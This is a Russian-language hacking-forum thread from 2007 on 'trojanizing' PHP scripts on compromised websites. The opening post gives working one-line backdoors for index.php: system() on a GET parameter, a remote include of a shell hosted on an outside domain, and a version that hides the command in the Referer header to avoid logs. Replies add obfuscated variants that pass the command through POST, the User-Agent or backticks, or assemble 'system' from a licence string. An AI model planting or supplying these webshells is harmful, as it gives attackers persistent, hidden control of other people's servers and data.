Авторские статьи Троянизация скриптов

Discussion in 'Статьи' started by Goudini, 9 Jan 2007.

  1. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    Троянизация скриптов

    В этой статье будут описаны методы троянизациии серверных скриптов, написанных на PHP.

    =========
    Вариант 1
    =========


    Началось всё с того что получив шелл на сайте, я захотел как-то закрепиться и добавил в
    index.php код такого содержания
    PHP:
    <?php system($_GET["cmd"]) ?>
    Вскоре полноценный шелл был удалён, остался только указанный выше.
    Я попробовал залить полноценный, но оказалось что на серваке нет ни wget, curl, etc....

    =========
    Вариант 2
    =========


    Тогда почему же не индклудить шелл каждый раз при загрузке страници
    PHP:
    <?php include("http://gaga.phpnet.us/shell.txt"); ?>
    Лучше инклудить шелл, только при определенный параметрах. Сделаем более интерактивнее :
    PHP:
    <?php if(@$_GET["hack"] == "yes") include($_GET['file']); ?>
    При переходе по адресу, указанному ниже мы получим удаллённый шелл
    Code:
    http://[сайт]/index.php?hack=yes&file=[шелл]
    =========
    Вариант 3
    =========


    А что если мы протроянили скрипты таким способом, а на сервере allow_url_fopen = Off;
    Тогда используем такую конструкцию :
    PHP:
    <?php if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?>
    У нас есть и удаленный шелл, и командная строка. Можно ещё проверить разрешены ли функции
    exec(), system(), passthru(), но это увеличит размер.
    Добавим авторизацию:
    PHP:
    <?php if(@$_GET["hack"] == "yes") if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?>
    =========
    Вариант 4
    =========


    В приведенных выше примерах данные передаються через адресную строку браузера.
    Чтобы в логах не было видно всех параметров, изменим немного исходники
    PHP:
    <?php if(ini_get('allow_url_fopen')) include ($_SERVER["HTTP_REFERER"]); else system($_SERVER["HTTP_REFERER"]); ?>
    В реферере, в зависимости от настроек php.ini, будет адрес шелла, или системная команда.

    =========
    Заключение
    =========


    Для изменения заголовков на лету можно использовать програму HTTPSubstitute от Zadoxlik'a
    http://forum.antichat.ru/thread23569.html
    Примеры скрытия Php кода опсаны в статье Great'a
    http://forum.antichat.ru/thread28246.html
     
    #1 Goudini, 9 Jan 2007
    Last edited: 14 Jan 2007
    10 people like this.
  2. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    > но оказалось что на серваке нет ни wget, curl, etc....
    Если у тебя есть право на сокеты, считай, шелл скачал)

    Частичный бойан, но оформление красивое)

    [ADDED]
    Вы добавили слишком много репутации в последние 24 часа. Попробуйте попозже.
    ггг
     
  3. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    Эх ... почти =)) хотел про другое написать ... лана на вечер оставлю :)
     
    _________________________
  4. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Чтобы не удаляли <?php system($_GET["cmd"]) ?> юзай пост.. чтобы не палиться особо в логах
    дальше.. можно незаметно включить в серию иф-елсов конструкцию (которая уже присутствует в файлах)...

    Либо например добавляем свое.. т.е. у нас при условии поста align=1 Или align=0 в юзер агенте появляется шелл
    PHP:
    if ($_POST ['align'] == "1" || $_GET ['align'] == "0") {
         
    $server_get=$_SERVER['HTTP_USER_AGENT'];
         @include(
    $server_get);
    else 
      {
    die;
    }

    или опять же сделать чтониб сложное для понимания... накрутить много условий
     
    2 people like this.
  5. 4xks

    4xks Banned

    Joined:
    2 Mar 2007
    Messages:
    9
    Likes Received:
    0
    Reputations:
    -3
    угу можно и так но @ ставить для заглушки точно нужно потому как иногда ерроры выскакивают
     
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Блин а где еще была тема про троянизацию скритов я помню кто то отписывал как лицинзеонное соглащение в массив загнать потом выдрать нужные символы и исполнить, вообще зря замяли тему.
     
    1 person likes this.
  7. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    2cash моно сделать примерно так:
    Code:
    <?
    $lic = "abcdefghijklmnopqrstuvwxyz итд.";
    $с = (собираешь слово system или eval);
    $c ($_POST['cmd']);
    ?>
    
    и никто не доепется =)
     
    _________________________
    1 person likes this.
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    мда токо название входящей переменной надо поменять га др. cmd не катит.
     
  9. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    Для примера написал
     
    _________________________
  10. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    http://forum.antichat.ru/thread28246-gnu+gpl.html
     
  11. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Ну вообще имхо самый актуальный способ это
    PHP:
    echo `$_REQUEST[m]`;
    х3 чё никто не пользуется=\
    Данные передавать можно через что угодно: гет, пост, куки - пофик через что. само echo не так бросается в глаза по сравнению с тем же system или passthru. Так же актуален инклуд через кукисы или юзер агент.
    Да и вообще не статья, а хрень. Тема уже настолько замусоленная что тошно прям. Ничё нового=\
     
    _________________________
    #11 +toxa+, 3 Jun 2007
    Last edited: 3 Jun 2007
    2 people like this.
  12. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    лично мое мнение боянище жуткое -- уже стоко про это написано - практически столько же как и про скули
     
  13. NaX[no]rT

    NaX[no]rT Members of Antichat

    Joined:
    3 Sep 2005
    Messages:
    489
    Likes Received:
    201
    Reputations:
    202
    2toxa если на то пошло, то можно просто где-то присобачить
    Code:
    <?=`$_POST['v']`?>
    тоже не броско и красиво =) а еще хорошо бы изменит $v на какую-то переменную из скрипта. Например если xoops, то сделать
    Code:
    <?=`$_POST['xxoops']`?>
     
    _________________________